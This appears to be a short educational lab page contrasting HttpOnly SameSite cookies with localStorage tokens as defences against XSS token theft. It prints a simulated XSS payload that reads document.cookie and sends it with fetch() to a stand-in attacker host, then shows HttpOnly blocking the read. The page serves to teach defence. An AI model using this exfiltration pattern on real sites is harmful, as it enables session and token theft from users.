HttpOnly Cookies vs LocalStorage Tokens Lab
Interactive evaluation of XSS token theft vectors vs browser-enforced HttpOnly SameSite cookie defenses.
Web Storage & Attack Surface
HttpOnly SameSite Cookies vs LocalStorage Tokens
Simulated Malicious XSS Script Execution:Attack Blocked by Browser
// Malicious XSS Payload attempts to access cookie:
const stolenToken = document.cookie; // Returns "" (Empty string!)
fetch("https://attacker-c2.com/exfil?t=" + stolenToken); 🛡️ HttpOnly flag prevents JavaScript from accessing token! Exfiltration completely failed.